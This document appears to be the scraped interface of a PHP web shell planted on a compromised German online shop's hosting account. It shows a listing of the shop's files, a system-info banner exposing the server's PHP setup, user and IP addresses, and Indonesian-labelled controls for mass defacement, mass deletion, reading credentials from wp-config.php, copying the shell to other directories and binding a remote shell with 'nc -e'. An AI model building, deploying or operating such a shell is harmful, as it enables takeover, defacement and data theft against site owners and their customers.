heidelpay_3dsecure.php 2013-11-12 20:52966 B 76129f60960:kunden-xw-x-----
edt
heidelpay_3dsecure_return.php 2013-11-12 20:521.5 KB 76129f60960:kunden-xw-x-----
edt
heidelpay_checkout_iframe.php 2013-11-12 20:521.19 KB 76129f60960:kunden-xw-x-----
edt
heidelpay_iframe.php 2013-11-12 20:521.24 KB 76129f60960:kunden-xw-x-----
edt
heidelpay_redirect.php 2013-11-12 20:522.68 KB 76129f60960:kunden-xw-x-----
edt
heidelpay_response.php 2013-11-12 20:523.95 KB 76129f60960:kunden-xw-x-----
edt
heidelpay_style.css 2013-11-12 20:521.27 KB 76129f60960:kunden-xw-x-----
edt
heidelpay_success.php 2013-11-12 20:524.6 KB 76129f60960:kunden-xw-x-----
edt
index.php 2013-11-12 20:525.89 KB 76129f60960:kunden-xw-x-----
edt
login.php 2013-11-12 20:522.63 KB 76129f60960:kunden-xw-x-----
edt
login_admin.php 2013-11-12 20:526.06 KB 76129f60960:kunden-xw-x-----
edt
login_mobile.php 2013-11-12 20:523.75 KB 76129f60960:kunden-xw-x-----
edt
logoff.php 2013-11-12 20:522.1 KB 76129f60960:kunden-xw-x-----
edt
magnaCallback.php 2013-11-12 20:5220.86 KB 76129f60960:kunden-xw-x-----
edt
magnalister_compatibility_check.php 2013-11-12 20:5217.23 KB 76129f60960:kunden-xw-x-----
edt
media_content.php 2013-11-12 20:522.6 KB 76129f60960:kunden-xw-x-----
edt
mkd_@_.html 2014-05-29 21:305.84 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_iframe.php 2013-11-12 20:523.07 KB 76129f60960:kunden-xw-x-----
edt
newsletter.php 2013-11-12 20:5210.64 KB 76129f60960:kunden-xw-x-----
edt
notify_vrepay_elv.php 2013-11-12 20:523.72 KB 76129f60960:kunden-xw-x-----
edt
notify_vrepay_giropay.php 2013-11-12 20:523.77 KB 76129f60960:kunden-xw-x-----
edt
notify_vrepay_kreditkarte.php 2013-11-12 20:523.81 KB 76129f60960:kunden-xw-x-----
edt
password_double_opt.php 2013-11-12 20:5211.65 KB 76129f60960:kunden-xw-x-----
edt
paypal_api_check.php 2013-11-12 20:527.37 KB 76129f60960:kunden-xw-x-----
edt
paypal_checkout.php 2013-11-12 20:5239.45 KB 76129f60960:kunden-xw-x-----
edt
popup_content.php 2013-11-12 20:523.3 KB 76129f60960:kunden-xw-x-----
edt
popup_coupon_help.php 2013-11-12 20:525.08 KB 76129f60960:kunden-xw-x-----
edt
popup_cvv.php 2013-11-12 20:522.69 KB 76129f60960:kunden-xw-x-----
edt
popup_image.php 2013-11-12 20:525.03 KB 76129f60960:kunden-xw-x-----
edt
popup_search_help.php 2013-11-12 20:521.64 KB 76129f60960:kunden-xw-x-----
edt
print_order.php 2013-11-12 20:523.23 KB 76129f60960:kunden-xw-x-----
edt
print_product_info.php 2013-11-12 20:527.29 KB 76129f60960:kunden-xw-x-----
edt
product_info.php 2013-11-12 20:522.63 KB 76129f60960:kunden-xw-x-----
edt
product_reviews.php 2013-11-12 20:524.58 KB 76129f60960:kunden-xw-x-----
edt
product_reviews_info.php 2013-11-12 20:524.92 KB 76129f60960:kunden-xw-x-----
edt
product_reviews_write.php 2013-11-12 20:527.13 KB 76129f60960:kunden-xw-x-----
edt
products_new.php 2013-11-12 20:528.04 KB 76129f60960:kunden-xw-x-----
edt
redirect.php 2013-11-12 20:523.77 KB 76129f60960:kunden-xw-x-----
edt
release_info.php 2013-11-12 20:5282 B 76129f60960:kunden-xw-x-----
edt
request_port.php 2013-11-12 20:525.4 KB 76129f60960:kunden-xw-x-----
edt
reviews.php 2013-11-12 20:524.25 KB 76129f60960:kunden-xw-x-----
edt
robots.txt 2013-11-12 20:523.36 KB 76129f60960:kunden-xw-x-----
edt
send_order.php 2013-11-12 20:529.69 KB 76129f60960:kunden-xw-x-----
edt
shop_content.php 2013-11-12 20:528.22 KB 76129f60960:kunden-xw-x-----
edt
shopping_cart.php 2013-11-12 20:522.08 KB 76129f60960:kunden-xw-x-----
edt
show_product_thumbs.php 2013-11-12 20:522.33 KB 76129f60960:kunden-xw-x-----
edt
sitemap1.xml 2013-11-14 19:162.04 KB 76129f60960:kunden-xw-x-----
edt
specials.php 2013-11-12 20:525.02 KB 76129f60960:kunden-xw-x-----
edt
ssl_check.php 2013-11-12 20:521.9 KB 76129f60960:kunden-xw-x-----
edt
stylesheet_new.css 2013-11-12 20:5226.88 KB 76129f60960:kunden-xw-x-----
edt
vrepay_kreditkarte.php 2013-11-12 20:5226.35 KB 76129f60960:kunden-xw-x-----
edt
wish_list.php 2013-11-12 20:522.28 KB 76129f60960:kunden-xw-x-----
edt
wpcallback.php 2013-11-12 20:523.5 KB 76129f60960:kunden-xw-x-----
edt
xtbcallback.php 2013-11-12 20:5212.48 KB 76129f60960:kunden-xw-x-----
edt
yatego.php 2013-11-12 20:521.36 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK